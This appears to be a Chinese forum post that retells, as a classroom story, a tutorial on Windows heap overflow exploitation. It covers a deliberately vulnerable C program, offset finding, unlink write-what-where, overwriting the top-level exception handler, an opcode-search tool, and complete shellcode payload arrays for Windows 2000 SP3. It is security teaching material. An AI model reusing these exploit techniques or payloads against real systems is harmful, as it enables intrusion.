黑暗不能驱除黑暗,只有光明可以做到;仇恨不能驱除仇恨,只有爱可以做到。 收藏本站
登陆 / 注册 搜索

阅读: 6.1K   回复: 5

[# 网络安全] Windows下堆溢出利用编程

小执念 古黑浩劫论坛大牛 2015-12-26 22:03 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
  周末很快就过去了,宇强正准备去上课,突然收到了条手机短信。宇强打开一看,哇!居然是小倩。

  “我买手机了,这是我的手机号一吴小倩。”

  她回家果然买了个手机。宇强想了想,赶忙回复短信信,“现在去上课吗?我们一起去吧!在报亭见怎样?” 发完后,宇强怀着不安的心情等待着,并对自己的唐突行为有点自责!

  过了一会,小倩回短信了,“好吧! 一会见。”

  宇强不安的心终于平稳了下来,好高兴啊!

  从报刊亭去教室的路上,宇强一直给小倩讨论着喜欢的足球,世界杯上马拉多纳的长途奔袭、齐达内的两次抢点。让宇强吃惊的时,小倩居然除了贝克汉姆外,还知道劳尔。

堆 溢 出 初 探

  走进教室时,老师已经到了。两人急忙找空位置坐下。

  “这周末大家过得还不错吧? ”老师问道。
  “好! ”大家齐声回答。

  “大家发过来的作业(反连后门的ShellCode)我都看过了,做的都很认真。学习就是要有这样的精神!” 老师满意的说道。

  “你帮我发给老师了吗?”小倩小声的问旁边的宇强。
  “嗯,放心吧!发了。”宇强说。

  老师在台上继续说道:“现在大家用的提取ShellCode的方法,都是先写出汇编,然后再一句句的对应着抄下来。虽然麻烦,但可使大家多次熟悉程序的流程,对大家掌握基础是大有好处的。”

  老师歇了下说道:“当然,也有些轻松提取ShellCode的方法,等大家知识进一步巩固后,我再教给大家!” “哦,那今天讲什么呢? ”古风急着问道。

  “Windows下的溢出有很多种,比如格式化溢出、整数溢出、堆栈溢出和堆溢出等。而现实中最常利用的是堆栈溢出和堆溢出。所以学习缓冲区溢出,除了堆栈溢出外,还得学习堆溢出! ”

  “哦!那今天是学习堆溢出?”
  “是的。”

  “堆?是什么呀?感觉《数据结构》里面也有堆这种概念。”宇强联想到了另一门课。

  “不错!但这里的堆不是《数据结构》里说的堆;《数据结构》里的堆是种抽象结构,要求父结点比子结点的值都大(或小);而这里我们说的堆,是Windows系统中的一种物理结构,用来动态分配和释放对象, 用在事先不知道程序所需对象的数量和大小的情况下,或对象太大而不适合堆栈分配程序的时候。英文就 是heap。”老师说。

  “堆栈溢出和堆溢出,只相差一个字,但内容却完全不同。”老师说道,“堆栈,在可执行程序的text 区,是从高地址向低地址扩展,是存放局部变量的地方,在编译时由编译器静态分配。”

  “而堆,是在可执行程序的heap区,从低地址向高地址扩展,是存放由malloc等函数动态分配数据的地 方。其结构关系在内存中的映射如下图。当然,还有其他的data区等。”


Windows下堆溢出利用编程 QQ截图20151225144106.png




  “堆栈溢出,我们已经详细分析利用过了。而堆溢出,就是给分配的堆拷字符串时超过了所分配的大小,从而造成的溢出。我们也可利用堆的溢出来实现我们想要的功能。”


  “在Windows下,用户要求分配堆时,可以通过一系列函数来完成。可以使用Win32的堆调用API函数,或者C/C++运行期库的函数等。”

  小知识:
  和“堆”有关的几个API函数
  HeapAlloc在堆中申请内存空间
  HeapCreate创建一个新的堆对象
  HeapDestroy销毁一个堆对象
  HeapFree释放申请的内存
  HeapWalk枚举堆对象的所有内存块
  GetProcessHeap取得进程的默认堆对象
  GetProcessHeaps取得进程所有的堆对象

  “以上都是用户态的函数,最终都要调用ntdll里面的Rtl相关核心函数。比如,堆分配函数的关系如下图。所以,我们只用考虑RtlAllocateHeap的就行了。”

Windows下堆溢出利用编程 QQ截图20151225144424.png

  “最好的学习方法是类比或对比。如果之前对新知识的相关背景有所了解,那学习起来会很快上手,而且很多思想和方法都可借鉴以前的东西。”老师问道,“大家觉得该和什么知识对比呢?”

  “当然是和堆栈溢出相对比罗! ”玉波没好气的说,“其他的溢出还不知道呢!” 

RtlAllcoateHeap 的 失 误

  “呵呵,对! ”老师说道,“我们和Windows下的堆栈溢出相对比。我们先复习一下堆栈溢出利用的三大 步骤。”

  1.返回点的定位。利用报错精确定位溢出返回点。
  2.ShellCode的编写。我们可以自己写,也可以拿现成的用;比较科学的方法是稍微修改一下外面的代码, 完成我们想要的功能。
  3.跳转到ShellCode。把函数返回点覆盖成JMP ESP的地址,或者把异常处理点覆盖成CALL EBX或者pop pop ret的地址。

  “其示意图如下图

Windows下堆溢出利用编程 QQ截图20151225144724.png

  也可以是这样子。“

Windows下堆溢出利用编程 QQ截图20151225144730.png


  “这三点大家都还记得吧?”老师问。
  “嗯,当然!”

  “好,我们就从这三点出发,看看堆溢出的原理和利用吧!

有 问 题 的 例 子

  “我们看一个简单的有堆溢出问题的程序heapvul1.c

[mw_shl_code=c,true]#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char mybuf[] = "ww0830";
int main (int argc, char *argv[])
{
HANDLE hHeap;
char *buf1, *buf2;
//我们自己建立一个HEAP
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
printf("mybuf addr = %p\n",mybuf);
//动态分配buf1
buf1 = HeapAlloc(hHeap, 0, 200);
strcpy(buf1,mybuf);
printf("buf1 = %s\n",buf1);
//动态分配buf2
buf2 = HeapAlloc(hHeap, 0, 16);
HeapFree(hHeap, 0, buf1);
HeapFree(hHeap, 0, buf2);
return 0;
}[/mw_shl_code]

  “我给大家大致解释一下:”

  “hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000,0xfffff);,,是建立一个堆,以免破坏进程 默认HEAP;

  “bufl = HeapAlloc(hHeap, 0, 200);” 是动态分配 200 字节的 bufl;

  “strcpy(buf1,mybuf); ” 是把 mybuf 数组的内容拷贝给 bufl;

  “buf2 = HeapAlloc(hHeap, 0, 16);” 表示接着分配 buf2;

  “HeapFree(hHeap, 0, bufl); HeapFree(hHeap, 0, buf2);” 表示最后把 bufl 和 buf2 释放掉后就退出。

  “我们执行一下试试,使用VC的RELEASE方式编译,并在命令行下运行,程序就会打印出mybuf地址和 bufl内容,然后退出。”

  小知识:
  在VC下可以生成DEBUG版本和RELEASE版本程序。DEBUG版被称为调试版,RELEASE版被称为发布版。DEBUG 版程序中,会有一些用于调试的信息,所以会比RELEASE版程序大很多;而且有一些内部处理和分配过程, 比如堆的分配,两者也不同。

  “DEBUG版的程序与实际运行程序的内存结构是不同的,所以刚才那个程序要用VC按照RELEASE方式编译, 并在命令行下运行它,不要在MSDEV中调试运行。”

  “在VC下生成RELEASE版的方法是:选择菜单栏‘编译’一‘放置可远程配置’,然后在弹出的‘活动工程配置’中选择‘Win32 RELEASE’,这样,生成的程序就会在Release目录下,并且是发布版本。” “也可以在工具栏的‘Select Active Configurature’框中直接选择生成Release版,如下图。”

Windows下堆溢出利用编程 QQ截图20151225145011.png

  “在mybuf数组很小的时候,程序没有任何问题,我们稍微改变下程序,只是加长mybuf的长度,变为240 个A。”

  “我们重新生成RELEASE版的程序,在命令行下运行它。效果如下图。”

Windows下堆溢出利用编程 QQ截图20151225145134.png

  “哦!出现报错对话框了! ”大家说道!
  “内容为〃0x77fcb3f5〃指令引用的"0x41414141〃内存。该内存不能为"written"。‘0x41’就是大写字母 A的16进制码。”

  “不过这里报的是‘written’错误啊!莫非和Foxmail—样,覆盖的字符串太长了? ”古风疑惑的问道。
  “不,堆溢出要的就是这样的效果。”老师说道,“我们下面借鉴一下堆栈溢出编程的三个步骤!”

堆 溢 出 点 的 定 位

  “第一步、溢出点的定位。因为这里会出现报错对话框,所以我们可利用它很准确的得到溢出点的位置。 如果记不清楚,请复习一下以前的内容,这里大概过一遍。”

  “首先改变程序,把mybuf数组填充的方法改变一下,改变的程序为heapvul3.c。我们把 mybuf数组的填充方法替换为:”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 100 + i % 10;
}[/mw_shl_code]

  “重新生成程序并在命令行下执行,这次报错框成了 〃0x77fcb3f5〃指令引用的"0x69686766〃内容,该内存不能为"written",如下图。”

Windows下堆溢出利用编程 QQ截图20151225145346.png

  “我们记下这个数字,看来是‘0x69686766’覆盖到了溢出点。我们把mybuf = 100 + i % 10的取余数改为整除,得到程序heapvul4.c 。”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 100 + i / 10;
}[/mw_shl_code]

  “执行heapvul4,这次出现的错误框成了 "0x77fcb3f5"指令引用的"0x79797979"内容,该内存不能为 "written",如下图。”

Windows下堆溢出利用编程 QQ截图20151225145455.png

  “我们分析一下这两个过程。第一次是把mybuf数组不停的加上100〜109,即十六进制0x64〜0x6D的循 环;第二次则是以10为一段长度,每段分别以0x64、0x65……来填充mybuf。”

  “第一次溢出时,报错值是0x66,此时数组中只有0x64〜0x6D不断循环,所以我们可以推出尾数是0x66-0x64 = 2。 ”

  “第二次溢出时,报错的全部是0x79,而此时是从0x64开始,每10个数为一段。0x79-0x64 = 0x15 (十 进制的21),即在字符串的第21个段。”

  “我们可以计算出出错点的位置了,如下:”
(0x79-0x64) X10+ (0x66-0x64) =21X10 + 2 = 212 “大家验证一下,指定mybuf第212开始的四个字节是‘BBBB’,其余全部为‘A’。如果我们的计算正确, 那么应该是0x42 (B的十六进制)覆盖到溢出点。”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 'A';
}
mybuf[212] = 'B';
mybuf[213] = 'B';
mybuf[214] = 'B';
mybuf[215] = 'B';[/mw_shl_code]

  “好,这样修改后,执行该程序,大家看!

Windows下堆溢出利用编程 QQ截图20151225145708.png

  “哇!果然弹出的对话框成了 〃0x77fcc39e〃指令引用的"0x42424242〃内容,该内存不能为written。我 们的计算非常正确哦! ”大家说。

 “我们分配的buf1是200个字节,溢出点却是第212个字节,看起来有点奇怪吧! ”老师说。
  “是啊,怎么会是这个数字呢? ”大家都很奇怪。

  “不要紧,分析之后就清楚了。我们还是先按步骤继续吧!” 

ShellCode 的 特 殊 要 求

  “第二步、ShellCode的编写。我们已经详细解释过了,但堆溢出的ShellCode有特殊的要求。

  (1)         如果溢出的是默认堆,则不能使用网络相关的函数,比如开端口、反连等ShellCode都不能使用;
  (2)         可以想办法在ShellCode中恢复默认堆,然后再使用网络相关ShellCode,但有时恢复堆后仍不能用网络编程的函数;
  (3)        新建一个堆,不用默认堆;
  (4)        干脆就不用网络相关的ShellCode,只用添加用户一类的ShellCode。”

  “可以看出,堆利用比较麻烦,在ShellCode中恢复堆这类高级技巧会在ShellCode高级编程中提到。这里就用最简单的手段一打开DOS窗口。”

  “倒……”台下全晕了,“又开DOS窗口啊!”

  “这里只是为了说明方法,以后用复杂可行的ShellCode替换就行了。”

跳 转 到 ShellCode

  “第三步,跳转到ShellCode。”
  “这里是关键!和堆栈一样,涉及到系统内部的处理机制了。”
  “ bufl = HeapAlloc(hHeap, 0, 200),程序动态分配200字节的bufl,堆结构如下图。

Windows下堆溢出利用编程 QQ截图20151225145912.png

  “先是8字节‘buf1’的管理结构,该结构对用户是不可见的;然后是系统返回给我们能实际操作的200 字节的空间,‘buf1’就是从这儿开始的;接着是8字节的下一空闲堆的管理结构;最后是两个双链表指针,各4个字节共8个字节。”

  老师歇了一口气,说:“最后的两个双链表指针才是真正的关键。我们用超长字符串覆盖‘buf1’的时候, 其溢出后的结构如下图。”

Windows下堆溢出利用编程 QQ截图20151225150030.png

  特别的,当用其他字符为A、第212字节为B覆盖时,其结构如下图。

Windows下堆溢出利用编程 QQ截图20151225150104.png

  “200+8+4=212,这就是我们计算得到溢出点为212字节的原因。我们把结构最后的双链表指针覆盖了,那 系统要使用它们时当然会不正确,会出错一一这就是要出现报错对话框的原因。”

  “哦! 212的位置是这样得到的啊! ”大家恍然大悟。
  “报的是write错误,莫非是要往后一个地址写东西? ”宇强不解地说。

  “对!当程序分配‘buf2’的时候,就要使用那两个双链表指针了,且eax为前一指针的值,而ecx为后 一指针的值,并作如下操作:mov?[ecx],eax; mov [eax+4],ecx,该操作的目的是在分配内存时改变链表的指向。”

  “对刚才的程序来讲,在我们在最后一次覆盖时,其结构和指针被覆盖为下图的的样子。”

Windows下堆溢出利用编程 QQ截图20151225150204.png

  “当系统重新分配‘buf2’,执行到mov?[ecx],eax时,就等于执行mov [BBBB],AAAA。即 mov[0x42424242],0x41414141,就是把 0x41414141 写入到 0x42424242 地址的内存中,而地址 0x42424242 一般是不能写的,所以就会报0x42424242不能写的错误。”

  “哦!原来是这样。”

  “出错时程序就会终止,如果还要执行下一操作mov [eax+4],ecx,就等于mov [AAAA+4],BBBB,即mov [0x41414145],0x42424242 了,就是把0x42424242写入到0x41414145的地址中,通常也是会出错的。”

  “把这个过程抽象出来,系统中有what—where的操作,而我们可以把what和where覆盖成任意的值。当 where像上面一样是个随意的值时,会出现写错误。那我们怎样精心构造where和what,使系统能跳转到 我们想要的地方        ShellCode呢?” 老师端起杯子,悠闲的说:“大家先自己想想,讨论一下各自的想法,就我一人讲,可能大家都会听困的。”

  “就是有what—where的操作,what和where该改写成什么呢? ”老师再提示道。

  古风想了想,说:“可以像堆栈溢出利用一样,覆盖函数的返回点。因为有what—where的操作可把what 的值构造成ShellCode的地址,把where的值构造成某个函数返回点的地址,这样执行what—where时, 就可以用ShellCode的地址覆盖函数返回点的值,函数返回的时候我们的ShellCode就可以执行了。如下图。” 

Windows下堆溢出利用编程 QQ截图20151225150324.png

  老师说:“不错,是个很好的方法,还有想法吗?”

 宇强灵机一动,悄声的对小倩说:“既然可以覆盖函数的返回点,那好像也可以覆盖函数入口点的地方哦?” 小倩想了想:“嗯,是啊,应该可以!”

  于是宇强大声说道:“我们也可以把ecx的值构造成某个函数入口点的地址,这样,执行那个函数时,就 执行我们的ShellCode 了。当系统后面要调用那个函数时,其实就执行了我们的ShellCode。如下图。”

Windows下堆溢出利用编程 QQ截图20151225150416.png

  老师非常满意的说:“Very Good!堆溢出向来以通用性困难著称。各个能利用的漏洞都有独特的利用方法, 上述两种方法都曾在实际中使用过。”

  “在这里我再介绍一种比较基础的方法,覆盖默认异常处理的地址。”

覆盖默认异常处理

  “在堆栈溢出中已经讲过,SEH (Windows的结构化异常处理)是一种程序异常的处理机制,在Windows系统中,是按照链式层状结构组织的,如下图。” 

Windows下堆溢出利用编程 QQ截图20151225150543.png

  “发生异常时,操作系统就会查找异常处理链表,找对应这种异常的处理程序;找到了对应的处理程序后, 就去执行处理程序,以避免系统崩溃。”

  “嗯,的确讲过。”大家都点点头。
  “具体的说,其异常处理过程是:先找到fs:[0]中所包含的地址,这个地址存着上一层异常链指针,而在这个地址+4的地方存放着处理函数的地址,操作系统就自动跳到这个地址去执行异常处理函数。当这个函数无法对异常进行处理时,再根据上一层的异常链指针找到上一层的异常处理指针来处理。”

  “上次堆栈溢出的时候,我们覆盖的是fs:[0],这里堆溢出也可以这样吗? ”宇强插话问道。

  “非常好!的确可以!覆盖的形式是这样的,如下图。”

Windows下堆溢出利用编程 QQ截图20151225150640.png

  “但是,”老师话锋一转,“这里的where需要是一个确切的地址值,fs:[0]对于单线程是比较固定的, 但对于多线程却是不定的。”

  “大家回想一下,我们在堆栈溢出中覆盖fs:[0]时,用的都是相对地址,从来没有使用过绝对地址。堆栈溢出中,覆盖SEH和跳转到ShellCode的示意图如下图。” 
b[〇]和如指向处理程mm

Windows下堆溢出利用编程 QQ截图20151225151240.png

  “我们把第一个异常处理程序地址覆盖成CALL EBX的地址。当异常发生时,就执行该地址内容——CALL EBX,而EBX正好在前面4个字节,我们把它改为JMP 04就可跳入ShellCode中了。”老师又解释了一遍。

  “哦!我们当时只是知道fs:[0]离缓冲区有多远,要多少个无用字符填充才能到达,但的确不知道当时的 fs:[0]究竟是多少啊! ”大家说道。

  “对!这里需要的是确切地址!用fs:[0]有时可以,有时就不行。”老师说。
  “那怎么办呢?即使每次运行同一个程序,fs:[0]好像都要变啊! ”同学们又疑惑了。

  “呵呵,fs:[0]地址会变,但系统的默认异常处理函数却不会变!我们就使用它。”老师说道。

  小知识:默认异常处理
  当链表中所有的异常处理函数都无法处理异常时,系统就会使用默认异常处理指针来处理异常情况。

  默认异常处理指针通过如下函数来设置:
  SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)

  默认异常处理指针通过如下函数来调用:
  LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

  它负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错时显示错误对话框的原因。


  “我们一起来看看吧! ”老师说道,“用IDA打开kernel32分析,在Functions中选中 ‘ SetUnhandledExceptionFilter ’就会跳到如下图的代码。意思是把异常处理程序地址放入 0x77EB63B4中,即Win2000 SP3默认异常的处理指针是0x77EC044c。”

Windows下堆溢出利用编程 QQ截图20151225151427.png

  “当有不能处理的异常发生时,系统调用UnhandledExceptionFilter函数,它其实就是call [0x77EC044c],即执行0x77EC044c指向的异常处理程序,那我们可以……”

  “哦!我们可以把where赋成0x77EC044c! ”
  “对!我们把where覆盖成0x77EC044c,what覆盖成ShellCode的地址,如下图。”

Windows下堆溢出利用编程 QQ截图20151225151501.png

  “那执行了 mov[ecx],eax后,0x77EC044c里就是我们ShellCode的地址。当发生异常时,系统会执行call [0x77EC044c],当然就跳到我们的ShellCode中了。”

  “Yeah!可以跳转了!”全班同学都很高兴。

  “注意,这里有个小问题,mov[ecx],eax后,跟着还有一句mov [eax + 4],ecx,这样不但把shellcode 地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,把 Shellcode中的指令破坏了。”

  “就是啊……”
  “要解决这个问题,我们可以用JMP 6这样的指令来代替nop,这样就能跳过后面被破坏的字节。”
  “现在回到我们的程序中,把它合起来吧! ”老师说道,“先是208字节覆盖掉‘bufl’的空间和空堆的管理结构;然后是4字节ShellCode的地址,最后是4字节异常处理地址。如下图。”

Windows下堆溢出利用编程 QQ截图20151225151542.png

  “但这里的ShellCode的地址是多少呢? ”宇强问道。
  “问得好! ”老师说,“我们先把ShellCode保存在‘mybuf里面,所以直接把‘mybuf的地址读出来填入即可。”

  “哎哟!‘mybuf是数组,那地址还是会变,还是不通用啊! ”大家觉得很奇怪。

  “嗯,这样做的确不通用,后面我们会改进的,这里先试试效果! ”老师说道,“构造出来的‘mybuf’是 这样的:”

char mybuf[240] =
"\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Jmp 06和NOPS 共101 bytes
//下面是开DOS窗口的ShellCode,有107字节
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3
"\xFF\xD0"
//上面一共208字节, 接下来就是ShellCode地址和顶层异常处理地址
"\x40\x60\x40\xFF\x4c\x04\xec\x77"

  “运行报错,如下图。可以看到‘mybuf的地址是0x00422A40,所以我们要把ShellCode的地址(即 What的位置)赋成它。”

Windows下堆溢出利用编程 QQ截图20151225151841.png

  “注意啊! ‘mybuf’的地址是有00的,strcpy拷贝字符串时就会被截断。所以我们先赋成ff,在main 里面拷贝完成后,再把改回00 。编译并执行,弹出了一 个DOS对话框,如下图。”

Windows下堆溢出利用编程 QQ截图20151225151944.png

  “哦!成功了!”
  “虽然这个exp很简陋,但也是实际可用的雏形。我们继续讨论,改进利用方式!”

  小知识:0x00和截断问题
  关于ShellCode中含有0x00,并不是赋值时被截断,赋的值都会在内存里面。比如字符串0x0102000304, 都会存进去;但在C语言中,字符串结束的标志是0x00,所以像使用strcpy函数时,就只拷贝到0x010200 就结束,不会拷贝后面的0304;而改成memcpy直接拷贝内存字符串长度,就不会被00截断,网络传输时, 像send函数也是发送指定长度的字符串,不会被00截断。

定 位 的 改 进——call [esi+0x4c]

  老师小结了一下:“默认异常处理地址在Win2000 SP3下是0x77ec044c。但在不同系统、不同SP下,其 值是不一样的。我们可像刚才一样,用IDA反汇编kernel32.dll分析,但很麻烦;也可用isno写的 GetTopSeh.c来获得默认异常处理地址,程序如下,我加上了一些注释。”

[mw_shl_code=c,true]#include <stdio.h>
#include <windows.h>
void main()
{
unsigned int sehaddr;
int *un;
HMODULE hk = LoadLibrary("KERNEL32.dll");
un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
//找到SetUnhandledExceptionFilter函数的地址
_asm{
mov eax,un
add eax,5
mov ebx,[eax]?
mov sehaddr,ebx //函数开始的第5个字节就是默认异常处理地址。
}
printf("the top seh: 0x%x\r\n",sehaddr); //将默认异常处理地址打印出来
_getch();
return;
}[/mw_shl_code]

  “对比IDA里面的代码,应该很容易理解,程序是读出SetUnhandledExceptionFilter函数开始后第5个 字节的内容,即异常处理指针的存放位置,然后打印出来。执行效果如下图,在我的Win2000 SP3机 器上,默认异常处理地址是0x77ec044c。”

Windows下堆溢出利用编程 QQ截图20151225152157.png

  “有了这个方便多了!”大家说道,“我们可把所有系统的默认异常处理地址都读出来,然后存储起来供以后使用。”

  “但是……”古风问道:“where是可以正确确定了,但what呢?还是不能确定啊!”
  “对!刚才ShellCode的地址是在主程序里直接读出来的,虽然我们可用NOP暴力扩大ShellCode的范围, 但通用性始终不好。我们将它改进一下吧! ”老师说道。

  “怎么改进呢?有什么东西指向堆的数据吗?”古颇感兴趣。

  “呵呵,Windows 2000作顶层异常处理时,esi+0x4C正好指向下一个堆管理结构,如下图。大家想想, 怎么做可以改进定位呢?”

Windows下堆溢出利用编程 QQ截图20151225152303.png

  大家个个眉头紧蹙。

  “哦!”宇强一下叫了出来,“我们把what覆盖成call [esi + 0x4c]的地址。这样异常发生时,系统 就会执行call [esi + 0x4c],从而到达下一个空闲堆的管理结构中。在那里,我们放上JMP 0F指令, 就可跳过后面的what和where,最后到达ShellCode。”

  “呵呵,很好,上来画一下示意图吧!”老师鼓励道。

  宇强走上讲台,拿起粉笔,画出了下图所示的利用思路。

Windows下堆溢出利用编程 QQ截图20151225152403.png

  “首先覆盖what为call [esi + 0x4c]的地址,where为默认异常处理的地址0x77EC044C,”宇强边画边解释,“这样wha—where操作时,0x77EC044C就会被覆盖成call [esi + 0x4c]的地址;如果发生顶层异常处理,就会跳到call [esi+0x4c]指令的地方;一执行call [esi+0x4c]就到了我们能操控数据的位置。”

  “嗯!就是这样! ”大家都很赞同宇强的的说法。

  “但有个地方还不明白,什么时候会发生默认异常处理呢? ”宇强从台上下来时问。

  “很好! ”老师说道,“大家都要向宇强学习啊!要敢于表达自己的思想,也要敢于提出自己的问题!只有经过思考,大家的思维才能得到锻炼和提高。”

  “而发生异常处理的时间,是what—where后,有一个where—what+4的操作,如果保证what+4的地址不可写,那就可以引发顶层异常处理了。”

  “哦,这下思路清楚了。”古风一下子明白了。
  “我们赶紧合起来利用吧!”同学们都迫不及待。

  “但是,”老师提醒道,“大家发现没有,call [esi+0x4C]的地址是多少呢?我们还没有呢!”
  “对啊! call [esi+0x4C]的地址还没找呢!”
  “我们可把查找JMP ESP的程序FindJmpEsp.cpp稍微改进一下,让它可以找其他指令。我们先找到call [esi+0x4C]的机器码是什么,然后在各个dll中找这样的机器码。”老师说。

  “首先,我们写一个简单的嵌套汇编的程序,如下:”

__asm
{
call [esi+0x4C]
}

  “和前几节课的方法一样,我们在VC中按F10调试,再点‘Debug’工具栏中的‘Dissassble’按钮,然后点鼠标右键,在弹出菜单中选中‘code byte’,此时会出现call [esi+0x4C]的机器码了。如下图。”

Windows下堆溢出利用编程 QQ截图20151225152539.png

  “这下我们知道了 call [esi+0x4C] 的机器码是FF 56 4C,我们把FindJmpEsp.cpp 改成在dll 中找机器码FF 56 4C的程序(FindCallEsi4C.cpp),如下:”


[mw_shl_code=c,true]#include<iostream.h>
#include<windows.h>
int main(int argc, char ** argv)
{
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = "User32"; //默认查找user32.dll里面的指令
if(argc>1)
{
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname); //加载dll
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++) //在dll中查找FF 56 4c并打印
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0x56 && ptr[y+2] == 0x4c )
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h); //释放dll
return 0;
}[/mw_shl_code]


  “这个程序如果不带参数,默认在user32.dll中查找机器码;也可将要查找的dll名作为参数运行。在 VC环境下,设置程序的参数步骤如下:先点击‘工程一设置’。”

Windows下堆溢出利用编程 QQ截图20151226170531.png


  “然后在工程设置对话框中选择‘Debug’栏,在‘程序变量’一栏填写要查找的dll名称,这里我们还是填成user32.dll。”

Windows下堆溢出利用编程 QQ截图20151226170540.png

  “设置好后,编译、运行,我们可以看到,在user32.dll中找到了一个,地址是0x77e2f91f。如下图。”

Windows下堆溢出利用编程 QQ截图20151226170549.png

  “哦!这下可以得到构造字符串的示意图了。”同学们画下了下图。

Windows下堆溢出利用编程 QQ截图20151226170555.png

  “嗯,下面我们就按照这个图构造出数组‘mybuf’,以实现覆盖,如下:”老师说道。

char mybuf[450] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //上
面先用200字节填充“buf1”
"\xeb\x12\x90\x90\x90\x90\x90\x90" //8字节堆管理结构,eb 12跳过what和where
"\x1f\xf9\xe2\x77" //覆盖what,call[esi+0x4c]在user32中的地址
"\x4c\x04\xec\x77" //覆盖where,TOP SEH在2000中文SP3的地址
//下面是Win2000 SP3下开DOS窗口的ShellCode,参看第二章
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
"\xFF\xD0";

  “大家注意,我们找的call [esi+0x4C]的指令地址是在user32.dll里面,所以要先 LoadLibrary(“user32”),以保证加载了 user32.dll动态链接库。编译、执行,还是弹出了一个DOS对话框!如下图。”

Windows下堆溢出利用编程 QQ截图20151226170604.png

  “也成功了! ”大家都非常高兴。
  “好,明白了堆溢出利用的原理,我们来尝试一个真正的漏洞吧!

实 例——Message 堆 溢 出 漏 洞 的 利 用

